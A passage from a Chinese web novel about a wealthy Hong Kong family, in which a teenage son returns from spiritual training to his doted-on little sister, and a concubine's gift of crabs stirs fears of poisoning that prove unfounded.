从内地飞往港城的飞机划破云层，降落在龙港机场。 黎墨郢穿着黑色的夹克套装，脚踩着黑色的登山鞋，戴着鸭舌帽，如风一样穿过人群。 祁山负责拎着行李，在后面追得很辛苦，时不时的停下大喘一口，呼唤：“等一等，三少爷！” 黎墨郢脚步没停，上车以后，他不耐烦的吩咐司机下车帮忙。 待到行李装好，祁山屁股还没坐稳，黎墨郢就吩咐司机开车。 轿车疾驰回到黎家山庄，黎墨郢直奔向自己的院子，进门就在寻找那个小小的身影。 忽然想起她已经上学了。 这个时间，应该在学园。 黎墨郢让祁山自己选客房入住，而他自己则直奔宋珍珍的院子。 “妈咪。” 当少年突然出现，宋珍珍手里的花瓶差点没拿稳，她小心的放在桌子上，喜悦的跑上前，将儿子抱进怀里。 “修行很辛苦吧？你瘦了这么多。” “还好。”黎墨郢站在原地，任由母亲将他从头打量到脚，少年出门一趟最大的变化，就是话比之前变得更少。 宋珍珍确定他没有受伤，望着高出自己一头的儿子，不由得红了眼眶。 “你又长个子了。” 他明明才十三岁，就出落得挺拔玉立，英姿不凡，也难怪老爷子常把器重的话挂在嘴上。 “妈知道你平安就够了，阿郢，你快点去看看你阿爷，他为了给你祈福，调用集团资金动了筋骨，就盼着你平安回来。” 黎墨郢颔首，这件事他回来前已经听孙隆说过，他并非不动感恩的孩子，阿爷的一片心意，确实应该感念。 “我这就去。” …… 黎墨郢已经快要走到黎老爷休养的院子，却在转角碰到穿的花枝招展的黎墨郢，在看到他出现的一瞬间，黎墨郢被吓了一跳。 “阿郢，你什么时候回来的？” 黎墨冰心说一句完了。 老三一回来，别说他，连大哥都得靠边儿站，以后还怎么有机会接送婉婉！ “修行结束了。”黎墨郢看了他一眼，没问他要去做什么，径自走向黎老爷的院子。 黎墨冰眼睛转了两圈，果断跟了上去。 “阿郢，婉婉就要放学了，我现在正准备去接她，你要不要一起？” 黎墨郢听后，果然停下脚步。 “每天都是你接她放学？” “当然，不过还有大哥，我驾照不是被吊销了嘛，没办法开车，我陪着大哥一起去，还能护着婉婉安全。” 黎墨冰可太知道黎墨郢的小心眼，一个弄不好就吃醋，回头还得哄，所以提前跟他解释清楚。 黎墨郢脸色没有什么变化，道了句：“那你们去吧。”就继续向院子里走。 “老三，你真的不跟我一块儿去接婉婉？”黎墨冰又问了一句。 黎墨郢没有回头。 来到黎老爷的书房，老人家还在专心致志的练字，听见脚步声，抬头看了一眼。 正要继续落笔，再抬头，确定是黎墨郢回来了。 黎老爷放下毛笔，转手抄起了准备许久的鸡毛掸子。 “臭小子，捅了那么大的篓子，你还敢到我面前晃！” 虽说黎老爷疼黎墨郢，可真到他犯错的时候，该有的惩罚一点都不会少，何况这次动摇的，可是他的半壁江山。 黎墨郢看着老爷子凶神恶煞的表情，就像是在看一只纸老虎，知道他只不过是想出气而已。 “阿爷，我是为了修行才引发天道危机，属于不可抗力。” 黎老爷真想拿鸡毛掸子抽他一顿，可心里也知道，这种情况不能完全怪他。 看着他风吹日晒清瘦下来的脸，他到底没能下的了手。 黎老爷重重的坐在椅子上，缓了一口气。 “花了老子那么多钱，你倒是说的轻松！” 黎墨郢自然不轻松，他向前了几步，用郑重的口吻说道：“阿爷在我小时候常说，我一身桀骜，不输您当年风骨，作为黎家子嗣，自然要辅佐大哥，为黎家创下一派辉煌。” “你……你还真敢大言不惭呐？”黎老爷子虽然生气，但听了他这番豪言壮语，心里得到莫大的安慰。 半壁江山算什么？ 只要他的后人不是孬种，早晚还能东山再起。 “我老头子真不知道上辈子是积了福，还是造过孽，生下你这么个冤家。”黎老爷说完这句，已是喜笑颜开，完全没有丝毫怨念。 黎墨郢见老爷子不再生气，坐下来陪他说了一些修行路上的经历，差不多婉婉要回来的时候，他起身告辞。 “阿爷，好久没见婉婉，她现在应该回来了，我回去陪她。” “去吧。”提到小婉婉，黎老爷知道这段时间，她也非常想念黎墨郢，所以干脆利索的摆手，让他退下了。 …… 小婉婉在放学的路上，就从黎墨冰的口中得知，黎墨郢回来了。 不过，小人儿还在生气他前几天的食言，就算再想念，也忍着，高高的噘着小嘴儿。 “他回来就回来，我才不想他，一点都不想。”小家伙奶呼呼的气着，把头快要摇晃成拨浪鼓。 黎墨冰被逗得发出一连串“咯咯咯”的笑。 “那咱们说好，你三哥哥回来，晚上你别跟他一起玩？” “不玩就不玩，哼，我要跟大哥哥一起，教我写家庭作业，才不找他。”小婉婉酸溜溜的话音，句句带着奶刺。 黎墨城一眼看穿黎墨冰那点儿歪心思，黎墨郢回来，婉婉轮不到他照顾，就开始引战。 “黎墨冰，你再说这种话逗婉婉，就从我的车上滚下去。”黎墨城出声警告。 黎墨冰一看他的表情，就知道他萌生了退让的心思，无趣的摇了摇头。 “好，我闭嘴，闹着玩都不行，这么较真。”黎墨冰最后一句，只敢小声嘀咕。 黎墨城当做没发现他的牢骚，将车子开进山庄，将小婉婉送到黎墨郢的院子。 彼时。 黎墨郢在回院子的路上，被老夫人派人拦下，叫他过去问了他许多问题。 黎墨郢知道她是关心自己这一路的经历，耐心跟她说了许多，直到她安心为止。 “阿郢这次出门历练，真是长大了，若换做以往，我跟你多唠叨几句，你早就不爱听，找借口躲着去了。”黎老夫人握着他的手感慨。 转而她就在他手上拍了拍，放他自由。 “我知道你一心记挂婉婉，这会儿她作业应该写完了，你赶紧去找她吧。” “好的，阿奶，那您早点休息，注意身体。” 黎墨郢离开，黎老夫人感受着手心里的余温，还在喃喃：“这孩子真的长大了，越来越懂事。” …… 黎墨郢以为小婉婉会被黎墨城带到北院，从老夫人那边径直过来寻人。 佣人却笑着告诉他：“大少爷得知您回来，直接把小小姐送回您的院子去了。” 黎墨郢立刻转身，回到自己的南院。 一进门，他就听到从书房传来牙牙学语的读书声，不像在电话中那么虚幻，而是很真实，能强烈感觉到踏实，和温馨。 黎墨郢走了过去，并没有叫门，而是听着那道稚嫩的声音，闭上眼，陷入到沉浸当中。 也像是在消化，因重逢产生难以压制的喜悦。 书房里。 “my name is li wanwan, and I''m three years old.” 小婉婉已经能够念一整句英文句子了，念完以后，她看着黎墨城，等她帮忙纠正发音。 而黎墨城已经发现了门外的身影，抬起手，在她头上轻柔抚过。 “你三哥回来了，让他教你。” 小婉婉眨巴着大眼睛，黎墨城起身向门外走去。 打开房门，兄弟二人高度相似的眼睛相碰，黎墨城勾起唇角，在他头上敲了一下。 “见了我不会叫个人？” “大哥。”黎墨郢问候。 黎墨城这才心满意足，给他让路的同时，回了自己的院子。 黎墨郢走进门，夕阳透过门缝，将他清瘦高挑的身影拉得很长，扫过小奶包白净的脸庞，一双大眼睛停留在他脸上。 眨巴，眨巴。 黎墨郢准备好了她热情的扑到他怀里，再来个大大的拥抱。 结果小丫头完全无动于衷，不禁挑了挑眉。 “不认识了？” “哼！”小婉婉抱起胳膊，把小脸儿扭到旁边去了。“我才不跟说话不算数的人讲话呢。” 黎墨郢：“……” 他说话不算数？ 什么时候！ 难道是因为他回来早了，没有按照约定的三十天，打扰到了她跟其他哥哥相处？ “你不想见到我？”黎墨郢就算成熟了一些，也到底才十三岁，心性不会变。 这个念头在脑海中一起，顿时涌起一股醋意，黑着脸说道：“既然不想跟我说话，那还在我这里待着干什么，找你别的哥哥去。” 音落。 坐在桌子上的小人突然站起来，她的身体还不如那张椅子高，眼前通红的跑出来。 黎墨郢在这一瞬间就后悔了，她才这么小，自己跟她一般见识做什么。 没回来的时候想得要死，现在见到了，反而不能好好说话！ 黎墨郢以为她真的要去找别人，蹲下来，伸手将她拦住。 却没想到，小家伙根本不是要走，而是抡起了小拳头，一拳打在他脸上。 “凶巴巴的臭哥哥，讨厌，打臭哥哥！” 意外发生在一刹那。 小婉婉打完了人，看着自己的小拳头，自己也蒙住了。 她明明是要打三哥哥的屁股呀，他怎么蹲下来了？ 小婉婉看着捂住鼻子，痛得眉心都拧起来的黎墨郢，心虚的藏起打人的小手，眼睛扑闪，歪头，小心翼翼的观察。 黎墨郢抱着她的手并没有松，缓过来后，他捏住奶团肉乎乎的小脸蛋，咬牙切齿：“不想我就算了，还打我？” 第83章 比千刀万剐还痛 “婉婉不打哥哥，屁股不开花。”小婉婉坐在黎墨郢怀里，眨巴着两只水灵灵的大眼睛。 等脸蛋儿好不容易从黎墨郢的‘蹂躏’中挣脱，她从他退上下了地，倒腾着小脚跑到柜子前，从里面抱来一堆好吃的。 有牛奶、热狗、黄头吐司、巧克力，这些都是黎墨郢离开的时间里，她特意攒下来的。 “三哥哥，给你吃好吃的。” 大抵，小孩子表达对谁的喜欢，就是把好吃的分享给对方。 黎墨郢想到小家伙那张小贪吃嘴，能省下这么多，还真不容易。 看来心里对他的挂念并不少。 黎墨郢把腿上的零食转移到桌子上，重新拉着她的小手，将她抱在怀里。 “三哥不吃，留着你吃吧。” “三哥哥，你都瘦了呢。”小婉婉趴在他肩头，看着他的脸，忽而小鼻子仔细嗅了嗅：“什么味道？” “你猜猜？”黎墨郢的手已经伸进怀里。 小婉婉就像只闻着味儿的小奶猫儿似的，两只大眼睛叽里咕噜的向他怀里探去。 只见，黎墨郢从怀里掏出一只陶瓷瓶，打开后，浓郁的花香钻进鼻翼，小婉婉一下就被冲昏了头，两只眼睛都在放光。 “三哥哥，这里面好香呀，是装了我没吃过的糖果么？” 黎墨郢被她憨憨的小样逗得胸口震动起笑意，捏了捏她的小鼻子。 “一天到晚就想着吃。” 说着，他盖上盖子，将陶瓷瓶塞到她小手里。 告诉她：“这是香薰用的精油，百花蜜炼制，涂在手腕一滴就能香很久，很贵的，你省着点用。” “给我试试？”小婉婉打开盖子，将瓶口对准了小手腕，只碰了一下，就散发出浓郁的冷香。 黎墨郢怕她弄得太多呛人，按住她的小手，将瓶子扶正。 “用这些就够了，闻闻看。” 小婉婉对着手腕使劲儿吸了一口，“哇”出声音。 “三哥哥，婉婉现在是香香宝宝，不是臭丫头了。” 黎墨郢好笑的在她头上褥了一把，看见她的作业还没写完，将座椅让出来，另外又搬了一把椅子坐在旁边。 “先写作业，我看着你写。” “好。”小婉婉点头，坐在椅子上，乖巧的拿起铅笔，写下英文句子。 小嘴儿里跟着念：“my name is liwanwan, and I''m three years old.” “注意你的发音，‘呕的’不是‘奥的’。”黎墨郢纠正。 小婉婉跟着读：“呕的？” “对，继续，多练几次。” 写完了作业，黎墨郢让王妈准备晚餐，然后带着小婉婉，把祁山介绍给她认识。 “这就是小瑞凤？” 祁山仗着黎墨郢存在契约，非要以衷仆的身份赖在他身边。 索性黎墨郢也适应了他的侍奉，觉得把他留在身边也不错。 “嗯，以后你怎么对我，就怎么对她，不得有任何逾越。”黎墨郢吩咐。 祁山谦卑躬身：“鄙人能侍奉二位，已是大幸，逾越之举万万不敢！” 祁山为了得道，苦心修行多年，除了寻找机遇为自己精进术法，也在不断的探索世间灵气充沛之地。 从他进入黎家大门的那一刻起，他就感受到了充沛的灵气弥漫，等来到黎墨郢的院子，更发觉这里的灵气纯净无比，是最最养人的！ 黎墨郢带小婉婉跟他打过了招呼，就去了餐厅。 吃饱喝足，小婉婉抱着圆滚滚的小肚皮，让他陪着去后院找大狗狗玩。 黎墨郢刚与她团聚，不忍拒绝，自然顺着她。 随着少年出现在犬舍周围，栅栏里面的大狗狗，全都兴奋得如同打了鸡血，齐刷刷的趴在栅栏边缘，乌溜溜的眼睛也都眼巴巴的望着黎墨郢，发出各自不一的叫声。 刘顺听见动静从院子里出来，在确定它们已经被驯服的情况下，按下了栅栏门的开关。 在那一瞬间，犬舍里面的一只只‘大块头’炸了锅，庞大的身躯轻盈的冲向清俊的身影。 而狗群里面跑的最开的，当属灵缇犬汉钟离，它以先天发达的四肢，像一只利箭冲刺到黎墨郢面前。 狗脑袋围着他的长腿蹭个不停，还不忘用鼻子跟他怀里的小婉婉问好，舔舔她的鞋子。 紧随其后的就是德国牧羊犬，作为狗狗的首领，他一身茂密的黑色毛发，长得英姿挺拔，且性格沉稳，有充足的耐力。 因此它得名吕洞宾。 眼见着所有的狗都冲过去讨好主人，场面将要失控的时候，吕洞宾‘汪汪’两声，瞬间将它们控制住。 “都坐下。”黎墨郢命令。 大狗狗们都听话的排排坐，而且还是按照刘顺给他们排的顺序来的，没有一个再捣乱。 “三哥哥快看，狗狗们都听话了！”小婉婉马后炮的说道。 随即，她从黎墨郢的怀里挣扎下了地，跑到一只罗威纳犬前面，小手从口袋里掏出手帕。 “张果老，你流了好多口水呀。”说着，小婉婉攥着手帕，帮罗威纳擦拭流出来的哈喇子。 这便引得了一直陪着小婉婉的边牧犬蓝采和不满了，摇晃着大尾巴在原地哼唧求摸。 不过小婉婉相较于边牧犬，似乎对罗威纳的兴趣更多。 她先是给罗威纳擦完了口水，然后小手在它头上摸了摸，就给它提出了一个要求：“张果老，我要骑你喽，你不要乱动。” “诶，小小姐，小心点儿别掉下来。”刘顺见小婉婉攀着狗脖子就要上去，连忙跑过来，帮她稳住身体。 罗威纳犬还怪老实的，任由小婉婉怎么对它，都眯着眼，挂着哈喇子，活脱脱一副讨好的巴结样。 “三哥哥，看我骑狗狗，张果老，驾！”小婉婉小腿一蹬，罗威纳犬跑了出去。 好在它的速度并不快，如同在院子里闲散遛弯。 头领德牧犬的眼睛时刻紧盯，但凡罗威纳跑快，它都会吠叫提醒。 “古有穆桂英挂帅，今有小小姐训狗，三少爷您看，还挺有意思的。”刘顺看着驯服的狗群，颇有一番得意姿态。 黎墨郢则用手轻捏眉心，表情无语。 “她平时都是这么跟狗玩？” “对呀，而且小小姐魅力独特，这些家伙都对她宠得不得了。” 黎墨郢洁癖发作，忍了一会儿，实在看不下去，叫停了罗威纳，走过去将小婉婉拎起来。 “差不多得了，弄得一身狗味儿，晚上别跟我一起睡！” “没有狗狗味，婉婉香香的。”小婉婉抬起手腕，示意刚刚用过的香精油。 黎墨郢还是拉着衣服把她拽走，吩咐刘顺：“让它们在院子玩一会儿，就圈回去，明天开始，轮流去大门口站岗，免得一天到晚精力用不完。” “是。” …… 黎墨郢刚带着小婉婉回到北院。 一个穿着紫色旗袍，姿色绝艳的女人就满脸带笑的迎了上来。 正是黎立轩的大姨太，黎墨冰的生母朱丽月。 “婉婉！”朱丽月脸上挂着巴结的笑容，映得她精心描画的妆容，更加明媚夺目。 小婉婉因为跟黎墨冰关系要好，所以并不排斥朱丽月，乖巧的叫了声：“大妈。” “哎，我的乖宝，看这小脸儿花的。”朱丽月蹲在地上，拿出手帕轻轻的给小婉婉擦拭。 期间，她看向面容冷峻的黎墨郢，到底是因为当年做过的事心虚，跟他说话的时候，总是透着几分小心的巴结。 “我娘家前天从内地寄过来一些大闸蟹，听说小婉婉爱吃，正好赶上你回来，给你们拿了一点，快进去尝尝吧。” “有劳您费心。”黎墨郢微微颔首。 而他对于朱丽月当年对自己的算计，自然是记得的。 若说恨，不可能一点没有，但随着时间的冲淡已经被冲淡了不少，再加上她是黎墨冰的生母，总归还是要维持一些体面。 朱丽月见黎墨郢没有拒绝她送来的东西，紧张的神经绷紧了一些。 随即她又从腰间掏出了一对成色极好的玉佩，献宝一样递到他面前。 “这眉祥凤玉佩，是我娘家当年陪嫁给我的，我膝下没有女儿，如今得了婉婉，正好送给她当做心意，至于另外一枚龙佩，我问过阿冰，他说不喜欢，我想着你属龙，正好给你戴着玩。” 黎墨郢身为黎家子孙，从来不缺傍身的珠宝和配饰，所以朱丽月才说成是玩物。 “既然是大妈的陪嫁，还是应当自己保管。”黎墨郢淡淡开口，她并没有随便收礼物的习惯，何况，是朱丽月的东西。 朱丽月却以为他是因为当年的事情介意，精致的面孔透着几分急切，讨好的站起来，又把玉佩往前送了送。 “阿郢，大妈知道当年……让你受苦了，大妈已经知错，你就当看在阿冰的份儿上，给大妈一次弥补的机会？” 话说到这份上，黎墨郢反而不好端着。 于是示意小婉婉：“先给她吧。” “好。”朱丽月立马将玉佩交到小婉婉手里，攥着她的小手，柔声叮嘱：“三哥哥让收，快拿着吧。” “谢谢大妈。”小婉婉奶声道了谢，之后就攥着两枚玉佩看了起来。 “屋里有螃蟹，你们快去吃吧，时间不早了，大妈先回去，明天再过来看你？”朱丽月此番过来就是为了示好的，怕逗留的太久，惹孩子厌烦，连忙提出告辞。 “好的大妈，拜拜哦。”小婉婉对她挥了挥小手。 朱丽月对她和黎墨郢点了点头，脚步飞快的出了门。 小婉婉在朱丽月走后，立刻仰头问黎墨郢：“三哥哥，我可以去吃大螃蟹吗？” 黎墨郢望着她花猫似的小脸儿，嫌弃的拧了拧眉。 “先洗澡，否则一切免谈。” …… 珍珠帘猛地被掀开，朱丽月指尖夹着的白茶盏晃了晃。 黎墨冰从门外跑进来，带起的一阵凉风，吹动了碧螺春的茶汤，泛起似有若无的波纹。 “妈，你在院子里待的好好的，去找过阿郢和婉婉做什么？”黎墨冰神色严肃的走到她面前。 朱丽月唇角轻轻勾了一下，看着自己面色清冷的亲生儿子。 他在别人面前，永远都是一副笑逐颜开的姿态，唯独每每面对自己这个亲生母亲，当做仇人一样防备着。 “阿冰，我係你亲妈，你非要用噉嘅语气同我讲嘢咩？” 黎墨冰一年到头不往她院子里来几次，仿佛她就是一个生下他的工具，利用完了，就抛到脑后。 “你对宋珍珍都比对你亲生阿妈仲亲。”朱丽月伤心的抱怨。 黎墨冰勾着唇笑了，他的长相与生母八分相似，天生妖娆的骨相，让他笑起来的时候，连天上的阳光都成为陪衬。 可是他脸上的笑，却沉浸着凉薄的冰雪，如同他的话一样，冷彻刺骨。 “是啊，至少妈咪她是真的疼爱我们兄弟，从没有想过伤害他们。” 他又提起当年的事！ 朱丽月每一次和他见面，他都要掀开当年的伤口，漏出里面血淋淋的皮肉。 这么多年过去，也正是来自亲儿子的讨伐，比她承受千刀万剐还要痛苦。 “我都已经悔改了，所有人，就连阿郢都原谅我，为什么你非要一直揪着不放？”朱丽月流着泪水质问。 她敲打着自己的心口，撕心裂肺的呐喊：“你到底要怪我到什么时候？难道非要我死了，你才甘心吗？” 黎墨冰冷冷的望着她哭红的双眼，额头上狰狞的血管，蜿蜒而起，亦如这些年，每每揪住他的领口，大声嘶吼：我那么做还不是都为了你！ “妈，我只要你安分守己，别再起不该有的心思。你应该知道，父亲和妈咪让我参与家族生意，已经是最大恩赐，别妄想太多了。” 朱丽月掏出手帕，嘤嘤嘤的哭个不止。 “我这次真是冤枉啊！我只是想着，老爷和老夫人看重婉婉，想为你去拉拢一下关系，免得他们再揪着当年的事不放，连这都不行吗？就连阿郢和婉婉都没怀疑我，你却跑到这儿来逼问我，当真是要我的命了！” 朱丽月连哭带嚎的，把精致的妆容都给哭花了。 她发现黎墨冰迟迟不肯相信，干脆举起三根手指，向天发毒誓：“我如果存有丝毫迫害之心，就让我天打雷劈，不得好死，下辈子做猪做狗，替我这辈子赎罪！” 第84章 连他一起毒死 朱丽月是相信神佛之人。 她敢向天发毒誓，证明她并不心虚，黎墨冰这才半信半疑。 他唯一可以肯定，母亲不仅仅抱着拉拢的目的，才去接近小婉婉。 是以，他神色并没有放松，而是嗓音低沉地说：“你没有害她们最好，记住你有前科，小婉婉和阿郢再出问题，全家人第一个怀疑的对象就是你！你如果真的为了我好，不要再犯蠢。” 黎墨冰说完这些话，头也不回的离开。 朱丽月望着他冷漠的背影，气得执起手边的茶碗，摔得四分五裂。 “孽障！你明明是我的儿子，为什么就不能理解我！” …… 黎墨冰听到了母亲从房间里传出的哭声，硬着心肠，坚持没有回去多看她一眼。 他匆匆的来到黎墨郢的院子里，小婉婉刚洗完澡，正和黎墨郢坐在院子里的石桌前，一边乘凉，一边大快朵颐的吃着朱丽月刚送来的螃蟹。 “你们都吃了？”黎墨冰神色紧张的跑到跟前。 此时，黎墨郢正将一块蟹肉放进小婉婉的嘴里，抬头淡淡的瞥了他一眼，继续剥手里的最后一只。 “二哥哥，我这里还有，给你！”小婉婉举着一只特大号蟹钳，向他递过来。 黎墨冰身体僵硬的接过，坐在对面，仔细观察黎墨郢和小婉婉的气色。 “阿郢，你就一点都不怕……”黎墨冰欲言又止。 黎墨郢直接顺着他说：“怕大妈往里面下毒？” 黎墨冰刷的红了耳朵，脸上挂着窘迫，很小的“嗯”了一声。 黎墨郢还没来得及开口，小婉婉在一旁奶声奶气的接话道：“二哥哥，大螃蟹钳钳夹人会痛，没毒的。” “呵，没毒，没毒就好。”黎墨冰尴尬点头。 随即看着手里的蟹钳，三下五除二的全都剥开吃了，心想着，万一真的有毒，那干脆连他一起毒死算球！ 一桌子螃蟹，就这样，连一只螃蟹腿都不剩了，睡午觉刚醒来的祁山闻着味儿出来，发现桌子上只有一堆螃蟹壳。 不禁抱怨起来：“你们一只腿都没给我留，也太小气了吧？” 黎墨冰刚好也被勾了馋瘾，于是起身笑道：“我现在去联系内地人帮我采买，过几天在我那儿弄个螃蟹宴，你们都过去吃，管够。” “太好了，又有大螃蟹吃喽。”小婉婉第一个高兴的拍手。 黎墨郢也不反对，反正他现在手里没钱，别说螃蟹宴，光是养活小婉婉那一张小馋嘴，都得紧着来。 祁山也高兴的嘴角快要咧到了耳朵后：“那拖二少爷口福了，过几天我一定去！” 黎墨冰在黎墨郢这边赖到十点多，确定他和婉婉都没有出现问题，才放心的离开。 黎墨郢抱着小婉婉去洗手，螃蟹的腥味儿不容易去，他用了半块香皂，把两个人的手都泡到发白，才勉强清理干净。 “睡觉。”黎墨郢把小婉婉放在床上，让她先换衣服，他自己也拿着睡衣，到外面的客厅里更换。 两个人都换好了衣服，小婉婉刚躺下去，小哈欠就起了。 不过还是睁着嘿哟有的大眼睛，奶呼呼的唤着：“三哥哥。” “怎么了？”黎墨郢让她睡到里面，自己在外面躺下。 小婉婉枕着小胳膊，看起来不太高兴的撅着小嘴儿，问他：“你明天还走吗？” “你想我走？”黎墨郢反问。 小婉婉直接把头摇晃成了拨浪鼓，一股脑钻进他怀里。 小娃娃奶气的话音，听起来闷闷的：“婉婉不想你走。” “那就不走。”黎墨郢轻拍她的后心，从他突破再到赶飞机，回来又哄这个小人儿，马不停蹄的折腾这么久，即便是铁打的身体，也扛不住。 何况黎墨郢现在仍然保持着，只要和她在一起，就犯困的毛病。 有点类似于，条件反射。 “后天呢？”小人儿却从他怀里拱出来，继续问。 “后天也不走。”黎墨郢重新把他的头按回怀里。 小家伙还是把头拱出来，这么一番倒腾，头上的小辫子已经乱了，盯着一头呆毛儿的样子，又可爱又好笑。 “三哥哥不准偷跑，不然让阿爷打你屁股。” 黎墨郢终于意识到，是他的不告而别，给她留下了阴影。 难以想象，上次在他走后，她一个人难过的样子，应该，会哭很久吧。 “知道了，以后都不偷跑。”黎墨郢把她抱在怀里，小家伙这才心满意足的闭上眼，给他表演了一个秒睡。 …… 果不其然，黎墨郢一回来，就截胡了黎墨城和黎墨冰护送小婉婉上下学的机会。 当他们二人去院子里接人的时候，他早就让司机拉着他们，去外面吃早餐。 “这个老三，为了独占婉婉，起早出去开小灶，也真是符合他的做派！”黎墨冰抱怨起来。 黎墨城对此早有预料，无奈的笑了下。 转而，将矛头对准黎墨冰：“我听说，昨晚大妈来见过阿郢和婉婉？” 黎墨冰感受到他释放出的危险信号，浑身的汗毛都竖起来，连忙解释：“她过来给他们送螃蟹，没做别的。” “最好。”黎墨城斜眼睨着他，半晌，从黎墨冰草木皆兵的脸上收回目光，转身离开。 黎墨冰揉了揉太阳穴，想到今天在公司，要一整天都要承受他的冷眼，就一个头两个大。 这样的日子，看来是没头了。 …… 转眼就到了万众家长期待的开学日。 也许是因为神兽们即将归笼重回校园，黎立轩这边姨太太的脸上，都添上了轻松。 黎墨黔和黎墨羽以及黎墨瞳，一大清早就在各自的院子口等着。 司机开着平日接送小少爷们的专车，先去接到了黎墨郢和小婉婉，然后才一个个接送他们。 “三哥早上好，妹妹早上好。”黎墨黔上车热情的跟他们问候。 黎墨郢闭着眼睛仿佛没听见一般。 小婉婉则歪着头，又奶又甜的叫了声：“四哥哥。” 黎墨黔趁着黎墨郢不注意，壮着胆子在她头上摸了摸，然后，跟她坐得近一些。 随后上车的是黎墨羽，他的性格相较于外向的黎墨黔，多了几分矜持。 “三哥，小妹，早上好。” 黎墨郢照旧闭幕装死。 小婉婉可可爱爱的点头：“六哥哥早上好呀。” 黎墨羽也是先观察黎墨郢的反应，见黎墨黔都敢挨着小婉婉那么近，于是也斗胆坐了过去。 最后一个上车的是四姨太的遗腹子黎墨瞳，由于母亲去世已久，导致他从小就内向又怯懦，在人前不敢大声说话，也不怎么擅长和几位哥哥们亲近。 尤其是见到大魔王黎墨郢，都不是老鼠与猫的映射，而是老鼠面对大老虎近乎卑微到尘埃里。 黎墨瞳看另一侧的位置空着，于是便坐了过去。 低头看向与小婉婉坐在一起的黎墨黔和黎墨羽，他深深低垂的眼睛里，闪过一丝由衷的羡慕。 “五哥哥？早上好？”小婉婉纳闷儿为什么黎墨瞳不跟大家打招呼，于是试探着主动问好。 也仅仅一句话，刷的一下，就让极度内向的黎墨瞳脸颊通红，到了发紫的程度。 少年窘迫的看了她一眼，就把头深深的低下去。 “老五，小妹跟你打招呼呢，你回应一下啊。”大大咧咧的黎墨黔提醒。 早就习惯了的黎墨羽，在他肩膀撞了一下。 “别说了，五哥容易害羞，你不是不知道！” 说完，黎墨羽善意的跟小婉婉解释：“小妹，五哥他只是有点腼腆，并不是没礼貌。” “哦。”小婉婉煞有其事的点了点脑瓜，紧跟着问：“腼腆是什么，婉婉有没有？” “你没有。”黎墨郢睁开眼，将她的脸转到自己这边，并用无声的眼神警告黎墨黔和黎墨羽，霸道意味十足。 黎墨黔和黎墨羽在他眼神的压迫下，很识相的把屁股往外挪了一寸。 那之后，几个人安静的大气儿都不管喘一声。 唯独婉婉，看看这个，看看那个，小脑瓜叽里咕噜的转来转去。 直到黎墨郢用手把她的大眼睛捂住，道一句：“闭目养神。” 小家伙安静了下来。 由于黎墨郢在初中部上课时间最早，所以司机第一个先将他送到大门。 黎墨郢迈开长腿，从车上下去，哪怕他身上穿着校服，手拎着书包，他自带威严的气场，跟众多来往的初中生相比较，仍然显得格格不入。 “我走了，你们好好照顾婉婉。” “放心三哥，我们等送完了小妹再去上课。”黎墨黔咧着嘴保证。 只要三哥一走，剩下的就是他们和婉婉相处的时间，他能不高兴吗？ 黎墨郢转身进入校园，黎墨黔关上车门，高兴的坐在黎墨郢之前坐过的位置上。 “小妹妹，听说妈咪给你的学时改成了半日制，中午就可以放学回去？” 一想到自己要在学校里从早到晚过一天，黎墨黔内心哀嚎了好几声。 小婉婉点点下巴：“对呀，因为三哥哥也是半日，妈咪说，这样我们就可以一起回家，上私教课。” “啊！我真是太羡慕你了！”黎墨黔抱着头在车里翻腾。 脑子转了两个弯，忽然，他生了一个鬼主意。 “小妹妹，要不然这样？妈咪那么疼你，只要你去跟她说，让她把我的学时也改成半日，放学后我陪你一起上私教课，她一定会同意。” 黎墨黔撺掇小婉婉，通过宋珍珍将他从学校里解救出来。 小婉婉刚要答应，旁边的黎墨羽就泼了他一盆凉水。 “四哥，你就别做梦了，就算妈咪同意，二妈知道后，只会扒了你的皮。” 黎墨黔一想到生母手里的鸡毛掸子就打怵，上次挨的一顿打，到现在还在隐隐作痛。 “天，我的命好苦！” 黎墨黔捂着脸叫苦不迭，然而，坐在他和黎墨羽之间的小婉婉，目光却落在了一直低着头，不肯说话的黎墨瞳身上。 这位五哥哥的表情看起来，好像很难过。 小婉婉在好奇心的驱使下，想要过去跟他说几句话，可惜她刚从座椅上爬下去，就听见司机的声音在前面传来：“小小姐，学园到了呦。” 啊，她该上学了。 小婉婉只好暂时作罢了跟黎墨瞳说话的打算，对车上的三位哥哥，还有司机都挥了挥小手。 “我去上学喽，哥哥们拜拜，司机叔叔拜拜。” 黎墨黔：“拜拜小妹妹，我好羡慕你。” 黎墨羽：“拜拜，路上慢点。” 司机：“小小姐加油！” 黎墨瞳低着头，脸又红成了一个大番茄。 …… 中午，临近放学的时间，小婉婉就在刘祖玉的提醒下，背上了小书包，和同样是半日制的小朋友们来到指定区域，等待家长过来接他们放学。 相较于那些上全日制的孩子们，这些半日制的小朋友生活中的幸福指数更高，一张张脸蛋儿上，都挂着喜悦的笑。 老师在大门口准备开门迎接家长，这些小朋友们，便凑在一起小声聊天，今天他们聊天的话题，则围绕着突然改变学习计划的小婉婉。 “黎婉婉，你不是上全日的吗？怎么又上半日的了？” 小婉婉听到同学提问，弯起小嘴儿，耐心回答：“因为我三哥哥回来了，他也上半天学。” “黎婉婉，你爸比到底娶了几个老婆，竟然给你生这么多哥哥！”一个独生子的小男孩儿睁大了眼睛，不敢想象，有那么多哥哥的家庭会是什么样？ 或许在别人眼里，错综复杂的家族，会有很多麻烦难以搞定。 可是在小婉婉看来，拥有这么多哥哥，是一件很幸福的事情。 所以，她觉得并不需要隐瞒什么，于是大大方方的数起了小手指：“算上我妈妈的话，我爸比一共有五位老婆，她们给我生了六位哥哥呢，我妈妈生我自己。” “那你们家你最小，你妈是姨太太？”小男孩儿在发出提问后，瞬间就换了副面孔。 只见他趾高气扬的抱起胳膊，把脸一扭，说道：“黎婉婉，我爸比只有我妈咪一个老婆，而且他们只生了我一个孩子，我是我们家嫡子，你是你们家庶子，咱们俩地位不一样，以后你没资格跟我一起玩了！” 第85章 是婉婉救了你一命 小男孩儿的话，立刻就引发了几个小朋友的支持，并纷纷举起手。 “我跟我大哥是一个妈咪生的，所以我也是嫡子。” “我也是，我和我哥哥，都是我妈咪生的，我不喜欢二妈生的妹妹，她是庶子，她跟黎婉婉一样！” 当然，也有家里是姨太太生的小朋友，对于这几个小朋友的发言，表示出了反对。 “什么嫡子庶子，我爸比说了，我们都是他的孩子，一律平等。” “就是，我妈虽然是姨太太，可我母亲不会生孩子，我阿奶说，她就是一只不会下蛋的老母鸡！” “古晨，你要是这么说的话，我也是庶子，我们以后就没法做朋友了。”好巧不巧，这个最后说话的小男孩儿，恰好就是最先挑起话题那个小男孩儿的好朋友。 